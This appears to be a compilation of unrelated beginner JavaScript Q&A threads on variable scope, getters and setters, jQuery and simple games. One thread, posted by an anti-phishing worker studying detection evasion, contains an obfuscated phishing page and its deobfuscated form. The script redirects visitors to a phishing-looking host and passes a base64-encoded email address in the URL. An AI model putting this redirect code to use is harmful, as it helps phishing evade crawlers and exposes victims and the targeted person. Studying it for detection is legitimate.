Found and fixed my own error. The problem was that I've had another variable called "map" in a different document, so with that being around my code didn't work.
I'll just leave this code here as an example of how to do a map.
<html>
<head>
<script type="text/javascript">
var map = {};
map["red"] = "not avaliable";
map["blue"] = "avaliable";
function car(color){
this.color = color;
}
function initialize(){
var testCar = new car("blue");
alert("Value is obviously blue: " + testCar.color);
if (testCar.color in map) {
var mappedValue = map[testCar.color];
console.log("Your car in "+ testCar.color + " is "+ mappedValue);
} else {
console.log("No color "+ testCar.color + "in maps");
}
}
</script>
</head>
<body onload="initialize()"></body>
</html>
Problem solved. Be careful you don't have variables with the same name even in different documents.
Related
I'm working at an anti Phishing company and I've stumbled a case which managed to evade our JCrawler, I tried to understand the code and what the attacker did here to stay undetectable and couldn't figure it out got really confused.
How can I avoid missing detection for sites such as this:
<!DOCTYPE html>
<html>
<title>Loading...</title>
<link rel="shortcut icon" href="favicon_a_eupayfgghqiai7k9sol6lg2.ico" />
<body>
<script>
var _0x117d=['4gSLXgI','2815VEHvFQ','14927VMrRFI','180751tIiKtp','11OWCNOZ','264810PhaCGI','49788ekTpju','https://42m6lvv4qywlq97qagwvfhnvm.monakasatelyoum.com/69bd90c1d7eb4aea978f3b70b4c2ba01//-5D8nkf4Z8xowFj3dQseoEAXkZbuLZbhvqckbUQIUGexERLdh7SGIiPu2dFknWuLaNuPLXHFNrKVsxBbwZml4cYEzxyj9bgHiJ5Qw485IUD2zCeI7l64XLrI9g7ChMk1U5MYIuWxbXIcqzk9RWPV5iVrChffikJy47gqSntD7qDhUBRRu33pHKYqGcVGD3Yv7YVvoEiGy?data=c2hhbHNhbGxAYmFjYXJkaS5jb20=','53294CAvUWH','289945bcwcUH','68GhmPuA','replace','15KaunFV'];
var _0x3d5f=function(_0x1853ca,_0x41286d){_0x1853ca=_0x1853ca-0x108;
var _0x117ddf=_0x117d[_0x1853ca];
return _0x117ddf;};
var _0x37e4a6=_0x3d5f;
(function(_0x5bb9bd,_0x286286){var _0xe278b9=_0x3d5f;
while(!![])
{try{var _0x2d8884=parseInt(_0xe278b9(0x10c))*-parseInt(_0xe278b9(0x111))+parseInt(_0xe278b9(0x10d))+-parseInt(_0xe278b9(0x112))*parseInt(_0xe278b9(0x10e))+-parseInt(_0xe278b9(0x109))+parseInt(_0xe278b9(0x113))*parseInt(_0xe278b9(0x110))+-parseInt(_0xe278b9(0x114))+parseInt(_0xe278b9(0x108))*parseInt(_0xe278b9(0x10a));
if(_0x2d8884===_0x286286)
break;
else _0x5bb9bd['push'](_0x5bb9bd['shift']());}
catch(_0x54c267){_0x5bb9bd['push'](_0x5bb9bd['shift']());}}}(_0x117d,0x339a1),location[_0x37e4a6(0x10f)](_0x37e4a6(0x10b)));
</script>
</body>
</html>
This seems something like JS obfuscator, right?
'use strict';
var _0x117d = ["4gSLXgI", "2815VEHvFQ", "14927VMrRFI", "180751tIiKtp", "11OWCNOZ", "264810PhaCGI", "49788ekTpju", "https://42m6lvv4qywlq97qagwvfhnvm.monakasatelyoum.com/69bd90c1d7eb4aea978f3b70b4c2ba01//-5D8nkf4Z8xowFj3dQseoEAXkZbuLZbhvqckbUQIUGexERLdh7SGIiPu2dFknWuLaNuPLXHFNrKVsxBbwZml4cYEzxyj9bgHiJ5Qw485IUD2zCeI7l64XLrI9g7ChMk1U5MYIuWxbXIcqzk9RWPV5iVrChffikJy47gqSntD7qDhUBRRu33pHKYqGcVGD3Yv7YVvoEiGy?data=c2hhbHNhbGxAYmFjYXJkaS5jb20=", "53294CAvUWH", "289945bcwcUH", "68GhmPuA", "replace", "15KaunFV"];
var _0x3d5f = function _getCompositionValue(key, value) {
key = key - 264;
var value = _0x117d[key];
return value;
};
var _0x37e4a6 = _0x3d5f;
(function(data, oldPassword) {
var toMonths = _0x3d5f;
for (; !![];) {
try {
var userPsd = parseInt(toMonths(268)) * -parseInt(toMonths(273)) + parseInt(toMonths(269)) + -parseInt(toMonths(274)) * parseInt(toMonths(270)) + -parseInt(toMonths(265)) + parseInt(toMonths(275)) * parseInt(toMonths(272)) + -parseInt(toMonths(276)) + parseInt(toMonths(264)) * parseInt(toMonths(266));
if (userPsd === oldPassword) {
break;
} else {
data["push"](data["shift"]());
}
} catch (_0x54c267) {
data["push"](data["shift"]());
}
}
})(_0x117d, 211361), location[_0x37e4a6(271)](_0x37e4a6(267));
I'm trying to generate a random number when the page loads, but it doesn't seem to work for some reason. The random number just keeps on being generated every time the user presses the submit button and not only once from the beginning of the page load.
My HTML:
<!DOCTYPE html>
<html>
<head>
<title> How many fingers </title>
<script type="text/javascript" src="main.js"> </script>
</head>
<body>
<h1> Test your luck </h1>
<h2> How many fingers do I have?<h2>
<input type="text" id="myGuess">
<button id="button" onclick="check()"> submit </button>
</body>
</html>
My JavaScript:
function loadNumber(){
var myNumber = (Math.floor(Math.random()*10) +1);
}
//am not sure if the above function should generate the random number!
window.onload = loadNumber;
function check(){
var numberOfGuesses = (Math.floor(Math.random()*9)+1);
var guess = document.getElementById("myGuess").value;
var number = (Math.floor(Math.random()*10) +1);
if(guess==number){
alert("correct, it took you " + numberOfGuesses + " guesses to get it
right")
document.location.reload();
}else{
numberOfGuesses++;
alert("nope, try again!")
}
}
I am very confused by your code really. So I restructured it to bring myNumber and numberOfGuesses outside of the functions, in order to broaden the scope. On page load it generates the random number in loadNumber() which is in the root scope here. Then check can access that and incriment guesses.
var myNumber;
var numberOfGuesses = 0;
function loadNumber(){
myNumber = (Math.floor(Math.random()*10) +1);
}
function check(){
numberOfGuesses++;
var guess = document.getElementById("myGuess").value;
if(guess==myNumber){
alert("correct, it took you " + numberOfGuesses + " guesses to get it
right")
document.location.reload();
} else {
alert("nope, try again!")
}
}
window.onload = loadNumber;
On line 14 document.location.reload(); you are reloading the page and recalling the random number function, hence regenerating a new number.
The random number was changing, because you were generating a new random number every button click. Also the myNumber variable that you generate in loadNumber() was not available outside the function's scope and it was not used in the button's onClick function.
In the snippet below I transported the declaration of myNumber outside the function so that the both functions could access it and also constructed the guesses counter (with a starting value of 0)
var myNumber;
var numberOfGuesses = 0;
function loadNumber() {
myNumber = Math.floor(Math.random() * 10) + 1;
}
function check() {
numberOfGuesses++;
var guess = document.getElementById("myGuess").value;
if (guess == myNumber) {
alert("correct, it took you " + numberOfGuesses + " guesses to get it right");
document.location.reload();
} else {
alert("nope, try again!");
}
}
loadNumber();
<!DOCTYPE html>
<html>
<head>
<title>How many fingers</title>
<script type="text/javascript" src="main.js"> </script>
</head>
<body>
<h1>Test your luck</h1>
<h2>How many fingers do I have?<h2>
<input type="text" id="myGuess">
<button id="button" onclick="check()">submit</button>
</body>
</html>
var numberOfGuesses = (Math.floor(Math.random()*9)+1);
var guess = document.getElementById("myGuess").value;
var number = (Math.floor(Math.random()*10) +1);
function check() {
if(guess==number){
alert("correct, it took you " + numberOfGuesses + " guesses to get it right")
}else{
numberOfGuesses++;
alert("nope, try again!")
}
}
Put var myNumber = 0, numberOfGuesses = 0; outside both functions so it is a global variable that can be accessed in both functions.
Inside check() you can increment the number of guesses by putting numberOfGuesses++; and compare against the global variable myNumber instead of number.
Thank you all for the amazing support. Below is my final working code:
My Javascript:
var myNumber;
var numberOfGuesses = 1;
function loadNumber(){
myNumber = (Math.floor(Math.random()*10) +1);
}
window.onload = loadNumber;
function check(){
var guess = document.getElementById("myGuess").value;
if(guess==myNumber){
alert("correct, it took you " + numberOfGuesses + " guesses to get it
right")
document.location.reload();
} else {
numberOfGuesses++;
alert("nope, try again!")
}
}
My HTML:
<!DOCTYPE html>
<html>
<head>
<title> Guess Game </title>
<script type="text/javascript" src="main.js"> </script>
</head>
<body>
<h1> Test your luck </h1>
<h2> How many fingers Am I holding up?<h2>
<input type="text" id="myGuess">
<button id="button" onclick="check()"> submit </button>
</body>
</html>
guys!
I'm giving my firsts steps in JS and in OOP in general, and I am trying to build code perhaps too stilized for my level, but I would like my sets and gets to be like "object.a" and "object.a = value" and not call them "getA" and "setA" and, above all, definitively not like a function ("object.a()" and "object.a(value)").
I design this page to find my way of doing but it is driving me crazy:
I don't know why "wa" keeps on incrementing it's value till it flips out with the message "too much recursion".
I don't see how to do for get a and set a to see "a" inside of "coso".
Can anybody help me?
Here's my code:
<!doctype html>
<html>
<head>
<link href="/style.css" rel="stylesheet" type="text/css">
<meta charset="utf-8">
<style>
</style>
<script>
function coso() {
var a = 1024;
coso.prototype = {
get a() {return this.a},
set a(valor) {this.a = valor}
}
this.muestraA = function() {if(a === this.a) {alert("¡Yupi!")} else alert("A vale: " + a +", pero a vale: " + this.a)}
}
function GuardaA(valor) {
var obj = new coso();
obj.a = valor;
obj.muestraA();
return obj.a;
}
</script>
<title>Prueba Objeto</title>
</head>
<body>
<h1>Prueba Objeto</h1>
<form onchange="x.value=GuardaA(wa.value)">
<label for="wa">Valor para A</label>
<input type="number" id="wa">
<label for="x">A vale:</label>
<output id="x" for="wa"></output>
</form>
<footer></footer>
</body>
</html>
You're getting infinite recursion because the get a() function tries to read this.a. But this is the object that has the get a() function, so it calls that function again, and so on repeatedly.
You should be accessing the local variable a, because the whole point of defining a getter and setter is because you want to use that variable instead of a regular property.
function coso() {
var a = 1024;
coso.prototype = {
get a() {return a;},
set a(valor) {a = valor;}
}
this.muestraA = function() {
if(a === this.a) {
alert("¡Yupi!");
} else {
alert("A vale: " + a +", pero a vale: " + this.a);
}
}
}
I would like to read a file (server-side) using jQuery. I have tried code supplied by multiple sites and it has not worked.
The code I tried last is:
jQuery.get("users/" + get("user") + "/display.txt", function(data) {
fullName = data;
});
However the variable 'fullName' (which is previously declared in the code) comes out as 'undefined'. How can I get this to work?
EDIT: Full code (excluding CSS)
<!DOCTYPE html>
<html>
<head>
<title>Chat</title>
<script src="jquery-1.11.3.min.js"></script>
<script type="text/javascript">
function get(variable) {
var query = window.location.search.substring(1);
var vars = query.split("&");
for (var i=0;i<vars.length;i++) {
var pair = vars[i].split("=");
if(pair[0] == variable){return pair[1];}
}
return(false);
}
var fullName;
var file = "users/" + get("user") + "/display.txt";
jQuery.get(file, function(data) {
fullName = data;
});
</script
</head>
<body bgcolor="#B2C2F0">
<div class="window">
<div class="rightCorner">
<span><script type="text/javascript">document.write(fullName)</script></span>
</div>
</div>
</body>
</html>
You can't modify fullName var with data value inside that function and read it outside.
If you need to use that info outside the function, you need to export the data value within another function.
Something like:
var fullName = "not-set";
console.log('fullName is:', fullName); // not-set
function set_fullName( data ) {
fullName = data;
console.log('fullName is:', fullName); // must be `Levi` now
}
jQuery.get("users/" + get("user") + "/display.txt", function(data) {
set_fullName(data);
});
You're probably just trying to access fullname before the ajax call finishes.
Try this:
var fullName = "";
function getUserName(username){
jQuery.get("users/" + get("user") + "/display.txt", onGetComplete);
}
function onGetComplete(data){
fullName = data;
continueProgram();
}
function continueProgram(){
console.log(fullName);
}
getUserName();
I have been trying to make all my Javascript Page code from JSBin to work automatically upon the clicking of a button. Problems include not being able to run the code because it says I have multiple variables in my script that do not work together and not being able to put it all in HTML because console.log doesn't work. I tried a couple different ideas, but sadly, I am unable to do it correctly.
My Code Is:
var name = prompt('So what is your name?');
var confirmName = confirm('So your name is ' + UCFL(name) + '?');
function UCFL(string) {
return string.charAt(0).toUpperCase() + string.slice(1).toLowerCase();
}
if (confirmName === true) {
var start = confirm('Good. Lets start the roleplay, Sir ' + UCFL(name) + '. Are you
ready?');
}
if (confirmName === false) {
var name = prompt('Than what is your name?');
var confirmNamed = confirm('So your name is ' + UCFL(name) + '?');
}
if (confirmNamed === true) {
var start = confirm('Good. Lets start the roleplay, Sir ' + UCFL(name) + '. Are you
ready?');
}
if (confirmNamed === false) {
var name = prompt('Than what is your name?');
var confirmName = confirm('So your name is ' + UCFL(name) + '?');
if (confirmName === true) {
var start = confirm('Good. Lets start the roleplay, Sir ' + UCFL(name) + '. Are you
ready?');
}
if (confirmName === false) {
alert('Oh, guess what? I do not even fucking care what your name is anymore. Lets just
start..');
var start = confirm('Are you ready?');
}
}
if (start === true) {
var x = console.log(Math.floor(Math.random() * 5));
if (x === 1) {
alert('You are an dwarf in a time of great disease.');
alert('');
}
}
And this is what I want you to fix:
<!DOCTYPE html>
<html>
<head>
<meta charset=utf-8 />
<title>JS Bin</title>
</head>
<body>
<form>
<input type="button" value="Start The Game" onclick="" />
</form>
</body>
</html>
I've created an entry on JSBin suggesting many improvements to what you have now:
http://jsbin.com/epurul/3/edit
Visit the entry to test the code yourself. Here is the content, for convenience:
HTML:
<body>
<button onclick="playGame()">Play Game</button>
</body>
And JavaScript:
// Expose playGame as a top-level function so that it can be accessed in the
// onclick handler for the 'Play Game' button in your HTML.
window.playGame = function() {
// I would generally recommend defining your functions before you use them.
// (This is just a matter of taste, though.)
function UCFL(string) {
return string.charAt(0).toUpperCase() + string.slice(1).toLowerCase();
}
// Rather than capitalize name everywhere it is used, just do it once
// and then use the result everywhere else.
function getName(message) {
return UCFL(prompt(message));
}
var name = getName('So what is your name?');
// Don't repeat yourself:
// If you're writing the same code in multiple places, try consolidating it
// into one place.
var nameAttempts = 0;
while (!confirm('So your name is ' + name + '?') && ++nameAttempts < 3) {
// Don't use 'var' again as your name variable is already declared.
name = getName('Then what is your name?');
}
if (nameAttempts < 3) {
alert('Good. Lets start the roleplay, Sir ' + name + '.');
} else {
alert("Oh, guess what? I do not even fucking care what your name is anymore. Let's just start...");
}
};
Put your code in a function, for example:
<!DOCTYPE html>
<html>
<head>
<meta charset=utf-8 />
<title>JS Bin</title>
<script>
function runGame() {
// put your js code here
}
</script>
</head>
<body>
<form>
<input type="button" value="Start The Game" onclick="runGame();" />
</form>
</body>
</html>
It would also be a good idea to copy your js code to another file and import that using a script tag, for instance:
<script src="path/to/file.js"></script>